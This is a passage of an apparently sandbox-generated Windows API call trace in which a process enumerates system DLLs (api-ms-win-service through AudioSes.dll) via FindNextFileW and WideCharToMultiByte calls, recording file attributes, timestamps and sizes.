40 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x94c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0038.361] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x94c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0038.361] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.361] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.361] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x94c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0038.362] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x94c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0038.362] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.362] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.362] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0038.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x94c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0038.362] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.363] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.363] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x94c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0038.363] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.363] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x94c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0038.363] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.363] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0038.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x94c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0038.364] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x94c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.364] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.364] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x94c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0038.364] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x94c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0038.364] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.364] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x94c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.364] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x94c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0038.364] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0038.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.365] WideCharToMultiByte 